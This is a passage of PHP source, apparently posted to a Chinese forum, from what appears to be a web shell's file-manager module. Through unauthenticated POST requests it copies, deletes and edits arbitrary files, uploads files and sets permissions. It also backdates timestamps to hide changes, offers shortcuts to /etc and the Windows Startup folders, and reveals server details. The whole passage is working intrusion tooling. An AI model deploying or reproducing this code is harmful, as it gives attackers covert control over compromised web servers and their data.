- $msg = fileu($filea, $fileb) ? '<h2>上传文件' . $rename . '成功</h2>' : '<h1>上传文件' . $rename . '失败</h1>';
- }
- }
- if (isset($_POST['act'])) {
- switch ($_POST['act']) {
- case "a":
- if (!$_POST['files']) {
- $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
- } else {
- $i = 0;
- foreach ($_POST['files'] as $filename) {
- $i += @copy(strdir($nowdir . $filename), strdir($_POST['var'] . '/' . $filename)) ? 1 : 0;
- }
- $msg = $msg = $i ? '<h2>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '成功</h2>' : '<h1>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '失败</h1>';
- }
- break;
- case "b":
- if (!$_POST['files']) {
- $msg = '<h1>请选择文件</h1>';
- } else {
- $i = 0;
- foreach ($_POST['files'] as $filename) {
- $i += @unlink(strdir($nowdir . $filename)) ? 1 : 0;
- }
- $msg = $i ? '<h2>共删除 ' . $i . ' 个文件成功</h2>' : '<h1>共删除 ' . $i . ' 个文件失败</h1>';
- }
- break;
- case "c":
- if (!$_POST['files']) {
- $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
- } elseif (!ereg("^[0-7]{4}$", $_POST['var'])) {
- $msg = '<h1>属性值错误</h1>';
- } else {
- $i = 0;
- foreach ($_POST['files'] as $filename) {
- $i += @chmod(strdir($nowdir . $filename), base_convert($_POST['var'], 8, 10)) ? 1 : 0;
- }
- $msg = $i ? '<h2>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '失败</h1>';
- }
- break;
- case "d":
- if (!$_POST['files']) {
- $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
- } elseif (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['var'])) {
- $msg = '<h1>时间格式错误 ' . $_POST['var'] . '</h1>';
- } else {
- $i = 0;
- foreach ($_POST['files'] as $filename) {
- $i += @touch(strdir($nowdir . $filename), strtotime($_POST['var'])) ? 1 : 0;
- }
- $msg = $i ? '<h2>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '失败</h1>';
- }
- break;
- case "e":
- $path = strdir($nowdir . $_POST['var'] . '/');
- if (file_exists($path)) {
- $msg = '<h1>目录已存在 ' . $_POST['var'] . '</h1>';
- } else {
- $msg = @mkdir($path, 0777) ? '<h2>创建目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>创建目录 ' . $_POST['var'] . ' 失败</h1>';
- }
- break;
- case "rf":
- $files = explode('|x|', $_POST['var']);
- if (count($files) != 2) {
- $msg = '<h1>输入错误</h1>';
- } else {
- $msg = @rename(strdir($nowdir . $files[1]), strdir($nowdir . $files[0])) ? '<h2>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 成功</h2>' : '<h1>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 失败</h1>';
- }
- break;
- case "pd":
- $files = explode('|x|', $_POST['var']);
- if (count($files) != 2) {
- $msg = '<h1>输入错误</h1>';
- } else {
- $path = strdir($nowdir . $files[1]);
- $msg = @chmod($path, base_convert($files[0], 8, 10)) ? '<h2>修改' . $files[1] . '属性为' . $files[0] . '成功</h2>' : '<h1>修改' . $files[1] . '属性为' . $files[0] . '失败</h1>';
- }
- break;
- case "edit":
- if (isset($_POST['filename']) && isset($_POST['filecode'])) {
- if ($_POST['tostr'] == 'utf') {
- $_POST['filecode'] = @iconv('GB2312//IGNORE', 'UTF-8', $_POST['filecode']);
- }
- $msg = filew($_POST['filename'], $_POST['filecode'], 'w') ? '<h2>保存成功 ' . $_POST['filename'] . '</h2>' : '<h1>保存失败 ' . $_POST['filename'] . '</h1>';
- }
- break;
- case "deltree":
- $deldir = strdir($nowdir . $_POST['var'] . '/');
- if (!file_exists($deldir)) {
- $msg = '<h1>目录 ' . $_POST['var'] . ' 不存在</h1>';
- } else {
- $msg = deltree($deldir) ? '<h2>删除目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>删除目录 ' . $_POST['var'] . ' 失败</h1>';
- }
- break;
- }
- }
- $array = showdir($nowdir);
- $thisurl = strdir('/' . strtr($nowdir, array(
- ROOTDIR => ''
- )) . '/');
- $chown = substr(decoct(fileperms($nowdir)), -4);
- if (!$chown) {
- $chown = '0000';
- }
- $nowdir = strtr($nowdir, array(
- '\'' => '%27',
- '"' => '%22'
- ));
- echo '<div class="msgbox">' . $msg . '</div>';
- echo '<div class="actall"><form name="frm" id="frm" method="POST">';
- subeval();
- echo '当前路径(' . $chown . ') <input type="text" name="dir" id="dir" style="width:500px;" value="' . strdir($nowdir . '/') . '"> ';
- echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="转到"> ';
- echo '<select onchange="cd(options[selectedIndex].value);">';
- echo '<option>---特殊目录---</option>';
- echo '<option value="' . ROOTDIR . '"> 网站根目录 </option>';
- echo '<option value="' . THISDIR . '"> 本程序目录 </option>';
- echo '<option value="C:/RECYCLER/">Win-RECYCLER</option>';
- echo '<option value="C:/$Recycle.Bin/">Win-$Recycle</option>';
- echo '<option value="C:/Program Files/">Win-Program</option>';
- echo '<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup/">Win-Startup</option>';
- echo '<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动/">Win-启动</option>';
- echo '<option value="C:/Windows/Temp/">Win-TEMP</option>';
- echo '<option value="/usr/local/">Linux-local</option>';
- echo '<option value="/tmp/">Linux-tmp</option>';
- echo '<option value="/etc/">Linux-etc</option>';
- echo '</select></form></div><div class="actall">';
- echo '<input type="button" value="新建文件" onclick="nf(\'edit\',\'newfile.php\');" style="width:80px;"> ';
- echo '<input type="button" value="创建目录" onclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:80px;"> ';
- echo '<input type="button" value="批量上传" onclick="go(\'upfiles\',\'' . $nowdir . '\');" style="width:80px;"> ';
- echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';
- subeval();
- echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';
- echo '<input type="file" name="upfile" style="width:256px;height:21px;"> ';
- echo '<input type="button" onclick="$(\'upfrm\').submit();" value="上传" style="width:50px;"> ';
- echo '上传重命名为 <input type="text" name="rename" style="width:128px;">';
- echo '</form></div>';
- echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';
- subeval();
- echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';
- echo '<input type="hidden" name="act" id="act" value="">';
- echo '<input type="hidden" name="var" id="var" value="">';
- echo '<th><a href="javascript:void(0);" onclick="cd(\'' . dirname($nowdir) . '/\');">上级目录</a></th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>';
- if ($array) {
- asort($array['dir']);
- asort($array['file']);
- $dnum = $fnum = 0;
- foreach ($array['dir'] as $path => $name) {
- $prem = substr(decoct(fileperms($path)), -4);
- $ctime = date('Y-m-d H:i:s', filectime($path));
- $mtime = date('Y-m-d H:i:s', filemtime($path));
- echo '<tr>';
- echo '<td><a href="javascript:void(0);" onclick="cd(\'' . $nowdir . $name . '\');"><b>' . strtr($name, array(
- '%27' => '\'',
- '%22' => '"'
- )) . '</b></a></td>';
- echo '<td><a href="javascript:void(0);" onclick="dels(\'' . $name . '\');">删除</a> ';
- echo '<a href="javascript:void(0);" onclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';
- echo '<td><a href="javascript:void(0);" onclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
- echo '<td>' . $ctime . '</td>';
- echo '<td>' . $mtime . '</td>';
- echo '<td>-</td>';
- echo '</tr>';
- $dnum++;
- }
- foreach ($array['file'] as $path => $name) {
- $prem = substr(decoct(fileperms($path)), -4);
- $ctime = date('Y-m-d H:i:s', filectime($path));
- $mtime = date('Y-m-d H:i:s', filemtime($path));
- $size = size(filesize($path));
- echo '<tr>';
- echo '<td><input type="checkbox" name="files[]" value="' . $name . '"><a target="_blank" href="' . $thisurl . $name . '">' . strtr($name, array(
- '%27' => '\'',
- '%22' => '"'
- )) . '</a></td>';
- echo '<td><a href="javascript:void(0);" onclick="go(\'edit\',\'' . $name . '\');">编辑</a> ';
- echo '<a href="javascript:void(0);" onclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';
- echo '<td><a href="javascript:void(0);" onclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
- echo '<td>' . $ctime . '</td>';
- echo '<td>' . $mtime . '</td>';
- echo '<td align="right"><a href="javascript:void(0);" onclick="go(\'down\',\'' . $name . '\');">' . $size . '</a></td>';
- echo '</tr>';
- $fnum++;
- }
- }
- unset($array);
- echo '</table>';
- echo '<div class="actall" style="text-align:left;">';
- echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';
- echo '<input type="button" value="复制" style="width:50px;" onclick=\'txts("复制路径","' . $nowdir . '","a");\'> ';
- echo '<input type="button" value="删除" style="width:50px;" onclick=\'dels("b");\'> ';
- echo '<input type="button" value="属性" style="width:50px;" onclick=\'txts("属性值","0666","c");\'> ';
- echo '<input type="button" value="时间" style="width:50px;" onclick=\'txts("修改时间","' . $mtime . '","d");\'> ';
- echo '目录[' . $dnum . '] - 文件[' . $fnum . ']</div></form>';
- break;
- }
- ?><div class="footag"><?php
- echo php_uname() . '<br>' . $_SERVER['SERVER_SOFTWARE'];
- ?></div></div></div></body></html><?php
- unset($array);
- ?>
复制代码
|
|